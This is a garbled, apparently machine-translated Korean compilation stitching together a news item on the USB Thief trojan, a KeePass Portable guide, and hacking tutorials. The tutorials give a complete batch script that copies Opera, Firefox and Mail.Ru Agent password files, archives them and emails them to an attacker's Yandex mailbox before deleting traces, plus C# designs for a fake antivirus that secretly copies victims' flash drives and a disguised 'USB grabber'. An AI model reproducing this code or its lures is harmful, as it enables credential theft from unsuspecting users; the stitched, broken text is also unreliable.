매우 특이한 트로이 목마: 이 맬웨어의 이름은 USB Thief(Win32/PSW.Stealer.NAI)입니다. 맬웨어는 데이터를 훔치는 데 중점을 두고 있으며 일반 플래시 드라이브에서 확산 및 작동하며 시스템에 존재하는 흔적을 능숙하게 숨깁니다. 트로이 목마는 USB 드라이브를 연결할 수 있는 경우 네트워크에서 격리된 시스템에도 도달할 수 있으므로 사이버 스파이 활동에 이상적입니다.

멀웨어를 시작하기 위해 시작을 고수하고 응용 프로그램 바로 가기를 위조하는 다른 USB 위협과 달리 USB Thief는 다르게 작동합니다. 트로이 목마는 사용자가 종종 Firefox, NotePad++, TrueCrypt 등과 같은 휴대용 버전의 응용 프로그램을 플래시 드라이브에 저장한다는 사실을 이용하도록 설계되었습니다. 맬웨어는 플러그인으로 가장하거나 이러한 프로그램의 다운로드 체인에 깔끔하게 통합됩니다. DLL 파일. 따라서 사용자가 플래시 드라이브에서 친숙한 응용 프로그램을 실행하면 트로이 목마가 함께 실행됩니다(백그라운드에서).

멀웨어의 알려지지 않은 작성자는 그의 개발을 위해 심각한 보호를 처리했습니다. USB Thief는 고유 ID 및 드라이브 설정을 사용하여 감염된 각 플래시 드라이브에 바인딩합니다. 트로이 목마 파일 중 일부는 AES128 암호화로 보호되며, 키는 장치의 고유한 매개변수를 기반으로 생성됩니다. 또한 멀웨어 파일의 이름은 경우에 따라 다릅니다. 플래시 드라이브의 내용과 파일이 생성된 시간을 기반으로 생성됩니다. USB Thief를 다른 플래시 드라이브에 복사하거나 일반 하드이 2단계 보호 시스템은 맬웨어의 작동을 방지하고 리버스 엔지니어링을 심각하게 복잡하게 만듭니다.

트로이 목마 구조

USB Thief는 플래시 드라이브에서 직접 작동하며 시스템 자체에 흔적을 남기지 않습니다. 트로이 목마는 6개의 파일로 구성되어 있으며, 그 중 4개는 실행 파일이고 2개는 구성 데이터를 포함합니다. 첫 번째 로더는 프로그램의 이식 가능한 버전과 함께 트로이 목마를 시작하는 역할을 합니다. 그는 USB 장치를 확인하고 도난당한 정보를 USB 장치에 기록하고 여기에 저장할 수 있는지 확인합니다. 그런 다음 두 번째 로더가 시작됩니다. 상위 프로세스의 이름을 확인하고 정상적인 환경에서 실행 중인지 확인합니다(아무도 이를 구문 분석하지 않음). 세 번째 로더는 차례로 시스템에서 바이러스 백신을 확인합니다.

내장된 마지막 네 번째 페이로드 실행 중인 프로세스, 데이터 도난에 대한 직접적인 책임이 있습니다. USB 도둑은 사용 가능한 모든 드라이브에서 문서, 이미지, 파일 목록, 데이터를 훔칩니다. 윈도우 레지스트리및 WinAudit에서 수집한 정보. 도난당한 모든 데이터는 플래시 드라이브에 저장되고 타원 암호화를 사용하여 암호화됩니다.

ESET 전문가는 다음과 같은 공격에 주목합니다. USB 사용도둑은 아직 일반적인 관행이 아닙니다. 그러나 트로이 목마는 존재를 감지하기 어렵고 USB 드라이브를 제거한 후에도 정보 도용의 흔적이 전혀 남아 있지 않기 때문에 매우 위험합니다. 이 회사의 보고서에 따르면 멀웨어 작성자는 원하는 경우 데이터 절도용 페이로드를 다른 멀웨어로 교체하여 멀웨어를 "재사용"할 수 있습니다.

이 기사에서는 암호가 있는 파일을 도용하여 모든 파일을 사서함으로 보내는 바이러스를 작성하고 만드는 방법을 어렵지 않고 신속하게 설명합니다.
바이러스가 bat "e(CMD, 기본 명령을 사용할 수 있음)로 작성된다는 사실부터 시작하겠습니다. 텍스트 파일표준 내장 Windows 인터프리터인 "명령줄"을 사용하여 실행됩니다.
이러한 바이러스를 작성하려면 도용할 파일의 정확한 저장 위치, 오프 사이트 http://www.blat.net/ 또는 당사 서버에서 다운로드할 수 있는 Blat 구성 요소를 다음과 같이 알아야 합니다. WinRaR 아카이버 Rar.exe의 구성 요소(이 없이도 가능).
메모장을 열고 다음 코드를 메모장에 복사합니다.

@echo off md %systemroot%\wincs md %SystemDrive%\pass\ md %SystemDrive%\pass\opera\ md %SystemDrive%\pass\Mozilla\ md %SystemDrive%\pass\MailAgent\ md %SystemDrive%\pass\ MailAgent\reg 속성 %systemroot%\wincs +h +s +r 속성 %SystemDrive%\pass +h +s +r 복사 /y "%systemroot%\blat.exe" "%systemroot%\wincs\blat.exe" 복사 /y "%systemroot%\blat.dll" "%systemroot%\wincs\blat.dll" 복사 /y "%systemroot%\blat.lib" "%systemroot%\wincs\blat.lib" CD /D % APPDATA%\Opera\Opera\ 복사 /y wand.dat %SystemDrive%\pass\opera\wand.dat 복사 /y 쿠키4.dat %SystemDrive%\pass\opera\cookies4.da regedit.exe -ea %SystemDrive%\ pass\MailAgent\reg\agent.reg "HKEY_CURRENT_USER\software\Mail.Ru\Agent\magent_logins2 regedit.exe -ea %SystemDrive%\pass\MailAgent\reg\agent_3.reg "HKEY_CURRENT_USER\software\Mail.Ru\Agent\ magent_logins3 CD /D %APPDATA% Xcopy Mra\Base %SystemDrive%\pass\MailAgent /K /H /G /Q /R /S /Y /E >nul Xcopy Mra\Update\ver.txt %SystemDrive%\pass\ 메일 에이전트 /K /H /G /Q /R /S /Y >null cd %AppData%\Mozill a\Firefox\Profiles\*.default\ 복사 /y 쿠키.sqlite %SystemDrive%\pass\Mozilla\cookies.sqlite 복사 /y key3.db %SystemDrive%\pass\Mozilla\key3.db 복사 /y signons.sqlite %SystemDrive%\pass\Mozilla\signons.sqlite 복사 /y %Windir%\Rar.exe %SystemDrive%\pass\Rar.exe > null del /s /q %SystemRoot%\Rar.exe %SystemDrive%\pass\ rar.exe a -r %SystemDrive%\pass\pass.rar %SystemDrive%\pass\ 복사 /y %SystemDrive%\pass\pass.rar %systemroot%\wincs\pass.rar cd %systemroot%\wincs %systemroot %\wincs\blat.exe -install -server smtp.yandex.ru -port 587 -f [email protected] -u 로그인 -pw 암호 ren *.rar pass.rar %systemroot%\wincs\blat.exe -body FilesPassword -to [email protected] -attach %systemroot%\wincs\pass.rar rmdir /s /q %SystemDrive%\pass rmdir /s /q %systemroot%\wincs del /s /q %systemroot%\blat. exe del /s /q %systemroot%\blat.dll del /s /q %systemroot%\blat.lib 속성 +a +s +h +r %systemroot%\wind.exe EXIT cls

나는 Batinka 자체의 코드를 많이 작성하지 않을 것입니다.
@echo off - 엉덩이의 몸체를 숨깁니다(그래서 필요하지는 않지만 여전히)
md %systemroot%\wincs - wincs 폴더를 생성합니다. 시스템 폴더 Windows, 어떤 드라이브에 설치되어 있는지 또는 이름이 무엇이든 상관 없습니다.
md %SystemDrive%\pass\ - Windows가 설치된 드라이브에 패스 폴더를 만듭니다.
md %SystemDrive%\pass\opera\ - wand.dat 및 cookie4.dat가 있는 Opera 폴더를 만듭니다. 오페라 브라우저(최대 11* 버전, Opera는 wand.dat 파일에 비밀번호를 저장합니다)
md %SystemDrive%\pass\Mozilla\- 파일이 있는 Mozilla 폴더를 만듭니다. 모질라 브라우저(cookies.sqlite ,key3.db ,signons.sqlite ) 비밀번호가 저장됩니다.
md %SystemDrive%\pass\MailAgent\- 메일 에이전트의 통신 기록 및 레지스트리 키(비밀번호 저장)가 포함된 파일이 복사될 MailAgent 폴더를 만듭니다.
md %SystemDrive%\pass\MailAgent\reg- 폴더 reg 생성
속성 %systemroot%\wincs +h +s +r- 속성을 wincs 폴더에 배치하여 보기에서 숨깁니다.
속성 %SystemDrive%\pass +h +s +r- 위와 동일합니다.
복사 /y "%systemroot%\blat.exe" "%systemroot%\wincs\blat.exe"- blat.exe 파일을 다운로드 위치에서 wincs 폴더로 복사합니다.
복사 /y "%systemroot%\blat.dll" "%systemroot%\wincs\blat.dll"- 다운로드 위치에서 wincs 폴더로 blat.dll 파일을 복사합니다.
/y "%systemroot%\blat.lib" "%systemroot%\wincs\blat.lib" 복사- blat.lib 파일을 다운로드 위치에서 wincs 폴더로 복사합니다.
CD /D %APPDATA%\Opera\Opera\ - Opera 폴더로 이동합니다. 이 폴더에는 Opera의 암호가 있는 파일(뿐만 아니라)이 있습니다.
/y wand.dat %SystemDrive%\pass\opera\wand.dat 복사- wand.dat 파일을 Opera 폴더에 복사합니다.
/y 쿠키4.dat %SystemDrive%\pass\opera\cookies4.dat 복사- 쿠키4.dat 파일을 오페라 폴더에 복사합니다.
regedit.exe -ea %SystemDrive%\pass\MailAgent\reg\agent.reg "HKEY_CURRENT_USER\software\Mail.Ru\Agent\magent_logins2- 암호가 reg 폴더에 저장된 magent_logins2 레지스트리 키를 내보냅니다.
regedit.exe -ea %SystemDrive%\pass\MailAgent\reg\agent.reg "HKEY_CURRENT_USER\software\Mail.Ru\Agent\magent_logins3- reg 폴더에 암호가 저장된 magent_logins3 레지스트리 키를 내보냅니다.
CD / D %APPDATA% - AppData 폴더로 이동
Xcopy Mra\Base %SystemDrive%\pass\MailAgent /K /H /G /Q /R /S /Y /E >nul- Mra\Base 폴더의 내용을 MailAgent 폴더에 복사합니다.
Xcopy Mra\Update\ver.txt %SystemDrive%\pass\MailAgent /K /H /G /Q /R /S /Y >nul- ver.txt 파일을 MailAgent 폴더에 복사합니다.
cd %AppData%\Mozilla\Firefox\Profiles\*.default\- Mozilla 브라우저 프로필이 있는 폴더로 이동
/y 쿠키.sqlite %SystemDrive%\pass\Mozilla\cookies.sqlite 복사- cookie.sqlite 파일을 Mozilla 폴더에 복사합니다.
/y key3.db %SystemDrive%\pass\Mozilla\key3.db 복사- key3.db 파일을 Mozilla 폴더에 복사
/y signons.sqlite %SystemDrive%\pass\Mozilla\signons.sqlite 복사- signons.sqlite 파일을 Mozilla 폴더에 복사합니다.
복사 /y %Windir%\Rar.exe %SystemDrive%\pass\Rar.exe >nul- WinRar Rar.exe 아카이버 구성 요소를 패스 폴더에 복사합니다.
del /s /q %SystemRoot%\Rar.exe- Windows 폴더에서 아카이버 구성 요소를 제거합니다.
%SystemDrive%\pass\rar.exe a -r %SystemDrive%\pass\pass.rar %SystemDrive%\pass\- 패스 폴더의 내용을 보관
/y %SystemDrive%\pass\pass.rar %systemroot%\wincs\pass.rar 복사생성된 아카이브를 wincs 폴더에 복사합니다.
cd %systemroot%\wincs - wincs 폴더로 이동
%systemroot%\wincs\blat.exe -설치 -서버 smtp.yandex.ru -포트 587 -f [email protected] -u 로그인 -pw 암호 - 인증을 위한 데이터를 지정하고 편지를 보내서 아카이브를 보낼 Blat 프로그램을 준비합니다. 아카이브가 있는 편지를 보낼 사서함에서 데이터를 지정하는 것을 잊지 마십시오. 전송된.
ren *.rar pass.rar - 아카이브가 프로세스 중에 잘못된 이름을 사용하지 않은 경우를 대비하여 다시 pass.rar로 이름을 변경합니다.
%systemroot%\wincs\blat.exe -body 파일 암호 -to로그인@yandex.ru -첨부 %systemroot%\wincs\pass.rar- 편지를 보낼 우편 주소를 표시하고 보내십시오.
rmdir /s /q %SystemDrive%\pass- 패스 폴더 삭제
rmdir /s /q %systemroot%\wincs- wincs 폴더 삭제
del /s /q %systemroot%\blat.exe
del /s /q %systemroot%\blat.dll- Windows 폴더에서 Blat 구성 요소를 제거합니다.
del /s /q %systemroot%\blat.lib- Windows 폴더에서 Blat 구성 요소를 제거합니다.
속성 +a +s +h +r %systemroot%\wind.exe- 우리는 자신에게 속성을 부여하여 눈에서 자신을 숨깁니다.
EXIT - 배팅크 프로세스를 완료하고 종료합니다.
cls - 인트라레이터에 있는 모든 라인의 출력을 지웁니다.
복사, wind.bat로 저장하고 다음을 사용하여 exe로 컴파일 박쥐 프로그램 exe 변환기로 변환한 다음 모든 것을 함께 수집합니다. 즉, Blat 프로그램 구성 요소와 WinRar 아카이버 구성 요소(다운로드 가능)를 가져와 하나의 실행 파일에 붙이거나 일부 프로그램을 사용하여 모든 파일을 언로드하는 경로는 다음과 같아야 합니다. be% SystemRoot% 또는% WindowsDir % 또는 %windir% .
결과적으로 우리는 바이러스 백신에 의해 실행되지 않고 파일이 포함된 아카이브를 귀하의 메일로 보냅니다. 오페라에서 .dat, 그리고 11 * 버전으로 업데이트되지 않은 경우 다른 모든 파일은 자신의 파일로 교체하여 해독할 수 있습니다.
이것으로 끝이라고 생각합니다. 궁금한 사항이 있으면 언제든지 문의해 주세요.
관심을 가져 주셔서 감사합니다.
©Swap TheHackWorld.in

Sony 및 Adobe를 비롯한 많은 회사는 이미 수백만 개의 암호 및 기타 사용자 데이터를 훔친 해커의 희생자가 되었습니다. 이 정보를 분석한 결과 많은 사용자가 "123456"과 같은 약한 암호를 사용하거나 많은 서비스에 동일한 암호를 사용하는 것으로 나타났습니다. 이것은 해커의 작업을 크게 용이하게 하는 동시에 그러한 부주의를 이해할 수 있습니다. 누가 12개 이상의 복잡한 암호를 기억할 수 있습니까?

간단한 해결책은 키보드 아래에 테이프로 붙인 종이 조각일 수 있습니다. 단 한 명의 해커도 이를 침해할 수는 없지만 컴퓨터 근처에 있는 사람들을 지속적으로 모니터링해야 합니다. 그리고 이 시트는 다른 사람의 컴퓨터에서 귀하의 계정에 로그인하려는 경우에는 아무 소용이 없습니다.

무료 도구인 KeePass 2 Portable은 이 딜레마를 해결합니다. 작동을 위해서는 보조 프로그램을 설치할 10MB의 여유 공간이 있는 USB 플래시 드라이브만 있으면 됩니다. 앞으로는 플래시 드라이브의 보호 영역에서 하나의 비밀번호만 기억하면 됩니다. 결국 KeePass는 로그인 데이터를 마스터 암호로 보호되는 인코딩된 데이터 뱅크 형태로 웹 서비스에 저장합니다.

암호를 훔치는 트로이 목마는 아무 것도 알아낼 수 없습니다. 그리고 더 이상 수십 개의 비밀번호를 기억할 필요가 없으므로 웹 서비스마다 새 비밀번호를 사용할 수 있습니다. 강력한 비밀번호. 이제 KeePass 사용법을 자세히 알려드리겠습니다.

그것을 하는 방법

1 비밀번호 금고 설치


비밀번호 금고 설치

USB 플래시 드라이브를 PC에 삽입하고 폴더에 새 폴더를 만든 다음 KeePass 소프트웨어를 사용하여 아카이브 내용을 복사합니다. KeePass.exe 프로그램을 실행합니다. 실행 후 활성화 자동 검색팝업 창에서 "사용"을 클릭하여 업데이트합니다. 그런 다음 "보기 | 언어 변경"을 클릭하고 "추가 언어 가져오기"를 클릭합니다.

"Russian | 2.25+". 아카이브 내용을 USB 드라이브에 추출합니다. "보기 | 언어 변경", "러시아어"를 선택하고 "예" 버튼을 눌러 KeePass를 다시 시작하십시오.

2 새 비밀번호 데이터베이스 생성


새 비밀번호 데이터베이스 생성

"파일 | New"를 선택하고 USB 드라이브를 암호 저장소로 지정합니다. 다음 창에서 프로그램은 기본 암호를 설정하라는 메시지를 표시합니다. KeePass를 시작할 때마다 입력해야 합니다.

3 보호 모드 활성화


보호 모드 활성화

트로이 목마가 KeePass에 대한 암호를 읽는 것을 방지하려면 Windows 7의 UAC와 유사하게 프로그램의 보호 모드를 사용하여 입력해야 합니다. 이렇게 하려면 KeePass에서 "도구 | 설정 | 보안"에서 창 맨 아래로 이동하여 "보안 모드에서 마스터 암호 입력" 옆의 확인란을 선택합니다.

4 암호로 데이터베이스 채우기


암호로 데이터베이스 채우기

KeePass는 암호를 그룹으로 정렬할 수 있습니다. 기본적으로 새 비밀번호 은행에는 "OS" 또는 "인터넷"과 같은 그룹이 있습니다. 만들다 새로운 기록, 적절한 그룹을 선택(또는 새 그룹 생성)하고 오른쪽의 흰색 영역을 마우스 오른쪽 버튼으로 클릭한 다음 "항목 추가"를 클릭합니다.

모든 필드를 채우고 확인을 클릭합니다. 각 계정에 로그인하기 위해 더 이상 암호를 기억할 필요가 없으므로 passwort-generator.com과 같이 생성할 수 있는 더 복잡한 새 암호를 설정할 수 있습니다.

5 자동 승인 사용


KeePass를 사용하여 서비스에 로그인하려면 해당 비밀번호가 저장된 그룹을 엽니다. 마우스 오른쪽 버튼으로 클릭해당 스토리지 항목을 마우스로 클릭 KeePass 비밀번호드롭다운 목록에서 "자동 다이얼 시작"을 선택합니다. 그 후 프로그램은 데이터를 브라우저로 전송하고 브라우저는 계정에 로그인할 수 있는 새 창을 엽니다.

"URL" 필드에는 인증을 위해 일반적으로 브라우저에 입력하는 URL을 입력해야 합니다. 그렇지 않으면 KeePass를 통한 자동 비밀번호 입력이 작동하지 않습니다.

6 키패스 확장


키패스 확장

KeePass의 기능을 확장하려면 "도구 | 모듈 | 더 많은 모듈"이 표시되면 다음을 사용하여 사이트로 리디렉션됩니다. 유용한 확장(우리의 권장 사항은 위의 표에서 찾을 수 있습니다). 이제 플러그인 이름을 클릭하여 다운로드하고 플래시 드라이브에 압축을 풉니다.

KeePass를 다시 시작하고 도구 | 모듈. 사용 가능한 플러그인 목록이 하단에 표시됩니다(일부는 구성 가능).

KeePass를 위한 최고의 확장 프로그램

금고에 비밀번호를 설정하세요 추가 기능, 예를 들어 함수 사본 예약또는 휴대 전화의 비밀번호 전송.

이름

설명

데이터베이스 백업 USB 드라이브를 도난당하거나 분실한 경우 비밀번호 뱅크 보호를 설정합니다.
투피쉬 암호
키에이전트 크랙이 거의 불가능한 인코딩 알고리즘을 추가합니다. 이렇게 하면 KeePass가 느리게 실행됩니다.
키 교환기 크랙이 거의 불가능한 인코딩 알고리즘을 추가합니다. 이렇게 하면 KeePass가 느리게 실행됩니다.
키폼 버튼 클릭으로 즐겨찾는 사이트를 열고 로그인 세부 정보를 자동으로 입력합니다.

단순한 필사자에게 플래시 드라이브는 문서/영화/사진 및 기타 개인(때로는 매우 개인적인) 정보를 전송하는 장치입니다. 그러나 해커에게 플래시 드라이브는 희생자이자 전투 도구입니다. 오늘 저는 플래시 드라이브에서 내 컴퓨터로 데이터를 눈에 띄지 않게 배수하는 모든 미묘함을 알려 드리고 무해한 플래시 드라이브를 "큰"컴퓨터에서 암호를 백업하는 프로그램으로 바꾸는 방법도 알려 드리겠습니다.

다른 사람의 플래시 드라이브에 대한 트랩

"사악한 컴퓨터" 프로그램의 아이디어는 다음과 같습니다. 우리는 플래시 드라이브에서 "위험한" 바이러스를 질적으로 제거하는 목적을 가진 초대형 고급 바이러스 백신인 것처럼 가장하는 작은 도구를 개발할 것입니다. 바이러스에 감염된 플래시 드라이브를 사용하는 사람은 놀라지 않을 것입니다. 따라서 당사의 특수 "바이러스 백신"은 속기 쉬운 사용자에게 문제를 일으키지 않습니다. 반대로 USB 플래시 드라이브를 컴퓨터에 삽입하면 다음과 같은 메시지가 표시됩니다. "바이러스가 감지되었습니다. 모든 파일에 대해 감염 여부를 자세히 검사합니다.", - 반드시 이 작업이 완료될 때까지 기다립니다.

악기 준비

그렇게 쓰다 유용한 프로그램우리는 지금 유행하는 C#에 있을 것입니다. 언어의 유연성과 .NET 플랫폼의 풍부한 기능을 통해 번개 같은 속도로 응용 프로그램을 개발할 수 있습니다. 이것이 바로 우리에게 필요한 것입니다. 우리는 지루한 코딩 과정이 아니라 우리가 수확할 수 있는 수확에 관심이 있습니다.

우리 응용 프로그램의 중요한 구성 요소 중 하나는 인터페이스입니다. 더 견고하게 만들수록 희생자는 캐치를 눈치 채지 못하고 침착하게 바이러스 백신 검사가 완료될 때까지 기다릴 것입니다. 크게 신경쓰지 않고 깨끗한 프로젝트 형태로 사진과 ProgressBar만 배치했습니다. 멋진 디자인을 만들 수 있습니다. 실제 바이러스 백신의 디자인을 보고 거의 같은 스타일로 응용 프로그램을 디자인하는 것이 좋습니다.

우리는 작업을 설정

우리는 조직적 문제와 행동 알고리즘을 결정했다고 가정하고 기술적 뉘앙스를 논의할 때입니다. 따라서 바이러스 백신은 플래시 드라이브를 설치하는 동안 더러운 작업을 시작해야 합니다. 한 번 새 디스크시스템에 나타나면 우리 프로그램은 문자를 결정하고 복사를 시작해야 합니다.

이 기사를 쓰기 전에 그러한 프로그램의 소스 코드를 접했습니다. 이 예제의 작성자는 "유형의 드라이브가 있는지 여부에 대해 모든 디스크를 주기적으로 열거하여 플래시 드라이브의 존재를 확인했습니다. 이동식 미디어". 처음에는 같은 길을 가고 싶다는 생각이 들었지만 내면의 목소리가 비합리성을 시사했다. 모든 "장점"과 모든 "잘, 시작되었습니다"의 무게를 측정한 후 이 아이디어를 버리고 MSND를 산책했습니다. 5분 후 내가 그 일을 한 데에는 합당한 이유가 있다는 것이 밝혀졌습니다. 답을 찾았습니다!

WinAPI가 없으면 아무데도 ...

새 장비(이 경우 플래시 드라이브) 연결에 대해 알아내는 가장 효과적인 방법은 WM_DEVICECHANGE 메시지를 포착하고 분석하는 것입니다. 장치를 설치하는 동안 메시지가 모든 창으로 전송되며 응용 프로그램에서 쉽게 처리할 수 있습니다. 이를 위해서는 WindowProc 함수를 설명하는 것만으로도 충분합니다. 실제로는 다음과 같습니다.

LResult CALLBACK WindowProc (HWND hwnd, //window id UINT uMsg, //message id WPARAM wParam, //발생한 이벤트 LPARAM lParam //데이터를 포함하는 구조체에 대한 포인터)

함수의 본문에서 WParam 매개변수의 값을 WM_DEVICECHANGE 메시지와 관련된 다양한 이벤트의 ID와 비교해야 합니다. 이 예에서는 다음과 같습니다.

  • DBT_DEVICEARRIVAL - 장비 추가됨
  • DBT_DEVICEREMOVECOMPLETE - 하드웨어가 완전히 제거되었습니다.
  • 좋아, 우리는 새 장비를 연결하는 사실을 확인하는 방법을 알고 있지만 USB 플래시 드라이브를 연결했는지 확인하는 방법은 무엇입니까? 핫플러그 가능한 장치(USB에 대해 말하는 것입니다)(프린터, 스캐너, 모뎀 등)가 많이 있습니다. 다행히 이 문제는 아주 간단하게 해결됩니다. LParam 매개변수를 사용하여 dbch_devicetype 필드가 있는 _DEV_BROADCAST_HDR 구조를 참조할 수 있습니다. 여기에서 이 필드의 값을 기반으로 적절한 결론이 도출됩니다. DEV_DEVTYP_VOLUME과 같으면 기뻐하고 손뼉을 쳐야 합니다. 플래시 드라이브가 연결되었습니다!

    Typedef struct _DEV_BROADCAST_HDR ( DWORD dbch_size; //DWORD 구조 크기 dbch_devicetype; //장치 유형 DWORD dbch_reserved; //예약됨, 사용되지 않음)DEV_BROADCAST_HDR, *PDEV_BROADCAST_HDR;

    USB 플래시 드라이브가 우리 pisyuk에 삽입되었습니다. 시스템에서 할당한 드라이브 문자를 알아보겠습니다. "기적의 장"에서와 같이 추측할 수 있지만 DEV_BROADCAST_VOLUME 구조에서 정보를 가져오는 것이 좋습니다.

    Typedef struct _DEV_BROADCAST_VOLUME ( DWORD dbcv_size; //DWORD 구조 크기 dbcv_devicetype; //장치 유형 DWORD dbcv_reserved; //예약된 DWORD dbcv_unitmask; //드라이브 문자 비트마스크 WORD dbcv_flags; // )DEV_MEBROADCAST_VOLU

    이 구조의 모든 필드 중에서 dbcv_unitmask에 관심이 있습니다. 이 속성에는 기호 표현이 아닌 약간의 문자만 포함되어 있습니다. 예를 들어 값이 0이면 드라이브 문자는 A가 됩니다. 1이면 B 등 기호 문자를 얻는 편의를 위해 함수를 작성하는 것이 가장 좋습니다.

    우리 칼럼을 오랫동안 읽어왔고 API 기능에 익숙하다면 기사의 다음 부분을 읽을 필요가 없습니다. 편집기를 열고 조각 응용 프로그램을 시작합니다. 필요한 모든 구조와 기능을 설명했습니다. 프로그램에 함께 넣어야 합니다. 마음을 정하고 특히 .NET 및 C #에 대해 자세히 알아보겠습니다.

    .NET "옴"을 치자

    실습을 시작하고 지식을 C# 언어에 적용할 시간입니다. "이런 젠장? - 물어. - 나는 WinAPI에 대한 기사의 절반을 이야기했지만 네이티브 코드의 형태로 모든 기능에 대한 호출을 발행하기로 결정했습니다. 주장하는 번개의 속도는 어디에 있습니까?

    당신이 옳습니다. 우리 응용 프로그램은 실제로 WinAPI 기능을 사용하지만(더 쉬운 방법은 아님) 직접 설명하지는 않습니다. 많은 개발자가 플래시 드라이브를 결정하는 문제에 직면했습니다. 이러한 접전의 결과로 필요한 모든 기능이 이미 구현된 C #용 무료 클래스가 등장하기 시작했습니다. 이러한 공백(구성 요소 읽기)을 프로젝트에 연결하고 몇 가지 메서드를 호출하기만 하면 됩니다. 이제 이 클래스 중 하나를 사용할 것입니다. 그러나 위에서 설명한 구조에 대한 지식은 이 프로그램을 Windows API로 이식할 때 확실히 유용할 것입니다.

    그런 문제를 해결해주는 기성 수업이 많이 있지만 저는 Jan Dolinay의 버전이 가장 마음에 들었습니다. 이 사람은 다음을 수행할 수 있는 매우 사용하기 쉽고 이해하기 쉬운 DriveDetector 클래스를 작성했습니다.

  • 플래시 드라이브가 연결되어 있는지 확인
  • 연결된 플래시 드라이브 마운트 해제 요청 정의
  • 플래시가 꺼져 있다는 사실 확인
  • 새로 연결된 플래시 드라이브의 드라이브 문자 가져오기
  • 플래시 드라이브에서 연 파일 목록 제공
  • 그리고 가장 중요한 것은 이 클래스는 작업하기가 매우 쉽다는 것입니다. 이제 이것을 보게 될 것입니다. 프로젝트에 클래스를 연결하는 것은 표준 방식으로 수행되며 이에 대해 고민할 필요가 없습니다. 그럼 초기화로 넘어갑시다. 다음과 같이 수행됩니다.

    FlashDriveDetector = 새로운 DriveDetector(); flashDriveDetector.DeviceArrived += new DriveDetectorEventHandler(OnDriveArrived); flashDriveDetector.DeviceRemoved += new DriveDetectorEventHandler(OnDriveRemoved);

    DriveDetector 클래스의 개체를 인스턴스화한 후 DevieArrived() 및 DriveRemoved() 이벤트 처리기를 정의합니다. 그들의 이름으로 그들이 무엇을 담당했는지 추측하는 것은 어렵지 않습니다. 모든 초기화 코드는 Form1() 메서드로 작성하는 것이 가장 좋습니다. 우리 프로그램의 메인 코드는 DeviceArrived 이벤트 핸들러에 있을 것입니다. 사이드바에서 그의 텍스트를 볼 수 있습니다.

    문자열 dirName = Environment.GetCommandLineArgs() + "flash_" + DateTime.Now.ToString("dd-MM-yy-hh-mm-ss"); CreateDirectory(디렉토리 이름); xDirectory 플래시 복사기 = new xDirectory(); flashcopier.IndexComplete += new IndexCompleteEventHandler(IndexComplete); flashcopier.ItemCopied += new ItemCopiedEventHandler(ItemCopied); flashcopier.CopyComplete += new CopyCompleteEventHandler(CopyComplete); flashcopier.Source = new DirectoryInfo(e.Drive.ToString()); flashcopier.Destination = 새로운 DirectoryInfo(dirName); flashcopyer.Overwrite = true; flashcopyer.FolderFilter = "*"; flashcopyer.FileFilters.Add("*.doc"); flashcopyer.FileFilters.Add("*.xls"); //다른 필터 정의 //.... flashcopyer.StartCopy();

    목록의 맨 처음에 플래시 드라이브의 내용을 복사할 폴더의 경로를 정의합니다. 응용 프로그램이 시작된 폴더와 함께 있는 "flash_current date" 디렉토리에 복사합니다. 더 편리합니다. 폴더 이름을 결정한 후 CreateDirectory() 함수를 사용하여 폴더를 생성해 봅니다. 편의상 이 기능을 작성했습니다. 디렉터리와 함께 작동하도록 설계된 DirectoryInfo 개체의 인스턴스를 만들고 새 폴더를 만드는 Create() 메서드를 호출합니다.

    폴더를 만든 후 복사할 수 있습니다. xDirectory 유형의 개체를 사용하여 모든 파일을 복사합니다. 목록의 코드를 직접 입력한 다음 컴파일을 시도하면 컴파일러에서 "이 유형의 개체를 찾을 수 없습니다."라는 오류가 흑백으로 표시되는 오류를 생성합니다.

    요점은 xDirectory가 타사 클래스라는 것입니다. 옛날 옛적에 인터넷에서 찾았고 그 이후로 프로젝트에서 자주 사용합니다. 하위 폴더를 복사하는 한 가지 방법을 호출하기에 충분하기 때문에 나는 그것을 좋아합니다. 또한 필터를 설정할 수 있습니다.

    정말 그것없이하십시오. 우리는 모든 프로그래머에게 잘 알려진 기술인 표준 클래스(재귀)를 사용하여 수십 줄의 코드를 작성합니다. 아아, 나는 절대 이것을하고 싶지 않습니다. 지금은 21세기입니다. 우리는 우리의 행동을 최대한 최적화해야 하며 xDirectory가 이를 도와줄 것입니다.

    클래스가 있는 모듈은 디스크에 있으며 해당 테이블을 보면 메서드/속성/이벤트의 목적을 알 수 있습니다.

    xDirectory 클래스의 속성

    xDirectory 클래스 메서드

    응용 프로그램을 실행하고 플래시 드라이브를 삽입하십시오. 몇 초 후(플래시 드라이브의 복잡도에 따라 다름) USB 드라이브의 모든 내용은 갓 구운 응용 프로그램을 시작한 폴더로 전송됩니다.

    USB 그래버

    이제 역 문제를 고려하고 소위 생성의 뉘앙스에 대해 이야기합시다. 플래시 드라이브 그래버. 창조의 원리는 정확히 같습니다. 플래시 드라이브를 설치한 후 자동으로 실행되는 간단한 응용 프로그램을 작성해야 합니다.

    작업 과정에서 응용 프로그램은 인기 있는 프로그램이 저장된 암호를 저장하는 폴더/레지스트리 키를 통해 이동하고 가능한 경우 모든 정보를 해당 폴더 중 하나에 복사합니다. 자동 실행이 가난한 사용자 사이에서 의심을 불러일으키지 않도록 조심스럽게 위장하십시오. 예를 들어 시작 메뉴 아래에 있습니다.

    소위 휴대용 버전의 응용 프로그램, 즉 플래시 드라이브에서 직접 작동할 수 있는 프로그램이 이제 매우 대중화되었다는 것을 알고 있을 것입니다. 이것이 가장 좋은 플레이 방법입니다. 적절한 스타일로 프로그램을 디자인하고 신뢰성을 위해 모든 프로그램을 실행하도록 설계된 몇 개의 버튼을 넣으십시오. 내 디자인이 그림에 표시됩니다.

    우리는 어떻게 도적질할 것인가?

    여기에서 슈퍼 해커 작업을 수행할 필요가 없음을 즉시 말해야 합니다. 대부분의 프로그램은 Documents and Settings\User\Application Data\%ProgramName% 폴더 또는 레지스트리에 개인 데이터를 저장합니다. ProgramName은 모든 프로그램을 의미합니다. 첫 번째 옵션에 직면했다면 이미 친숙한 xDirectory 클래스(또는 파일 작업을 위한 표준 방법)를 사용하고 필요한 모든 것을 복사해야 합니다. 두 번째 경우에는 레지스트리로 작업해야 합니다. 파일 복사의 예는 제공하지 않겠지만(이미 고려함) .NET 도구를 사용하여 레지스트리와 상호 작용하는 방법을 보여 드리겠습니다(TC 폴더의 경로를 결정하는 예 사용).

    RegistryKey readKey = Registry.CurrentUser.OpenSubKey(" 소프트웨어\\기슬러\\ 총사령관"); 문자열 키 = (문자열) readKey.GetValue("InstallDir");

